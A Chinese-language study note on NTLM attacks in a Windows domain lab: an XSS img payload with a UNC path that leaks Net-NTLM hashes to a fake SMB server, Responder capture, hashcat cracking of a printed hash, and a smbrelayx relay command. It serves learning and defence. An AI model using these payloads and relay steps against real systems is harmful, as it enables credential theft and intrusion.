域渗透学习笔记三:攻击NTLM

基础知识

最常见Pass The Hash 也就是Hash传递这一手法是就是利用Net-NTLM hash进行攻击的,仔细分析过Windows认证机制机制后会发现它就类似与一个web方面的重放攻击。

比如:

在一些条件下通过中间人抓到了站点登录后台登录时的Web流量,但是登录密码被前端加密了(比如MD5),hash值无法解密,这时候我们只需要重放这个登陆包就可以完成后台登录认证。

在Net-NTLM认证过程中Net-NTLM hash传递发生在质询第二个包:

里面最关键的字段是用户名以及Response。缺一不可,所以原则上来说进行Hash传递的条件有两:

  • 抓到的Net-NTLM hash字段

  • hash对应的用户名。

    个人不觉得能访问目标算条件,不能访问目标或者访问错误的目标想去搞Hash传递攻击本身就是个扯犊子的事情,就像Web重放一样,A站点的包你去重放给截然不同的B本身就很扯。关于协议版本对的上也是个人的总结,因为Net-NTLM协议在不同的版本上又可细分为NTLM v1,NTLMv2,NTLM session v2三种协议,不同协议使用不同格式的Challenge和加密算法。v1和v2在windows认证机制的学习中以及提到过其不同的地方。

Net-NTLM Hash窃取

相关Hash会出现三个地方:

  • SAM数据库

  • Lsass进程

  • 传输过程

    前两点已经做过总结:Windows本地hashdump备忘录, 各类之所以能够读到明文时因为去dump了lsass中缓存的用户输入得到明文,如果明文缓存不存在的情况下(比如2012/10以后系统wdigest默认没开启,明文不存在),读到的其实可以理解为都是NTLM hash。值得注意的是:

    • Net-NTLM hash和NTLM hash不是一回事。
    • Net-NTLM hash是Net-NTLM认证过程客户端第二次发送给服务端的包中的response字段。

了解完成就会明白Net-NTLM hash的窃取主要发生在传输环节,传输环节的攻击无非三个点。

第一是传输前就截取到数据包,类似与Hook app的发包接口获取明文
第二是中间人攻击获取
第三是在接收方获取。

第一个环节明显需要以及有对方能够控制底层流量权限,既然有了还搞啥Hash传递;第二个环节不少很了解,后续再学习;第三个环节需要接收方获取,通常情况下是控到刚好会被目标使用NILM认证访问的几率是很小的。不过可以伪造NTLM认证服务端,再配合其他漏洞进行利用。

比如XSS:

<img src="\\10.5.100.7\TheKingOfDuck.png">

img标签是支持smb协议,然后smb协议本质上走的NTLM认证,NTLM认证在用户输入凭证前又会默认使用本地NTLM Hash先进行认证一遍,所以在无法Getshell的情况下,就可以伪造一个smb客户端,再通过该手法获取到Net-NTLM Hash,最后执行解密工作或hash传递攻击

Responder伪造认证服务端

伪造一个Net-NTLM协议认证服务端,当用户进行访问时系统默认会先将本地Net-NTLM hash进行验证,该hash可进行碰撞解密获取密码。

在目标机器上访问伪造的客户端(可以是多种形式,比如上面说到的xss获取)

获得Net-NTLM hash:

同类工具还有Inveigh,原理都是一样的

Net-NTLM Hash 利用

Net-NTLMv1 Hash加密策略远弱于v2,拿到Net-NTLM v1 hash就约等于NTLM HASH,v2在暴力破解不成功的情况下就可以考虑Relay攻击

Net-NTLM v2 hash暴力破解

将Responder获取到的Net-NTLM hash交给hashcat进行暴力破解

hashcat -m 5600 attacker::ADSTUDY:1aef20d3cfba8772:9D01310D04E79AD84A789669BE40EF2C:0101000000000000D9C9E307FDF1D5014454D6B4C6B563920000000002000E0041004400530054005500440059000100060042004F0054000400160061006400730074007500640079002E0063006F006D0003001E0062006F0074002E0061006400730074007500640079002E0063006F006D000500160061006400730074007500640079002E0063006F006D0007000800D9C9E307FDF1D50106000400020000000800300030000000000000000000000000200000D6F78567C955B9EA05E044A994D2307E6DEF8486F2ECA33C9F042A0F501043C10A001000000000000000000000000000000000000900200063006900660073002F00310030002E0035002E003100300030002E0031003000000000000000000000000000 pass.txt --force

如图是暴力破解成功的情况。

Net-NTLM v2 hash Relay

以relay2smb为例:

利用条件有两:

  • 目标机器不能开启smb签名,否则利用无效,一般情况下,windows server会默认开启,而windows单机系统[win 7/8/8.1/10]默认都不会开。

  • 对一些打了ms08-068[KB957097]补丁的老系统[比如windows xp/2003以下的系统]利用无效。

    值得一提的是域控默认开启smb签名的,其他默认没开

    relay对象10.5.100.7 (win7)
    攻击机10.5.100.10 (Kali)
    relay到 10.5.100.1 (2012)

    在kali 使用nmap来检查签名是否开启,smbrelayx.py模块来发起relay攻击

    nmap -Pn -sT -p 445 --open --script smb-security-mode,smb-os-discovery 10.5.100.7
    


(message_signing: disabled 即可,Responder自带的Runfinger也可以,不用检查也可以,Multirelay也会自动检查的)

在kali上开启relay

python smbrelayx.py -h 192.168.22.162 -c whoami

在2012上执行

dir \\10.5.100.10\C$

即可relay成功。

总结

大多数情况攻击NTLM能成功都是因为NTLM在认证是默认会先使用本地hash去登录目标服务,因此可以制造各种机会去获取到Net-NTLM hash再进一步解密操作。

  • Net-NTLM v1 hash相对容易破解,拿到就约等于拿到了NTLM hash

  • Net-NTLM v2 hash需要暴力破解

  • NTLM-Relay 攻击的姿势很多,工具也多,msf/smbrelayx.py/Responder

  • 触发让系统发送NTLM请求的地方非常多。因为很多地方都支持UNC路径

比如:

  • xss
  • 各种图标(desktop.ini,scf文件,用户头像)
  • pdf/word
  • outlook
  • xxe/ssrf
  • etc...

也无风雨也无晴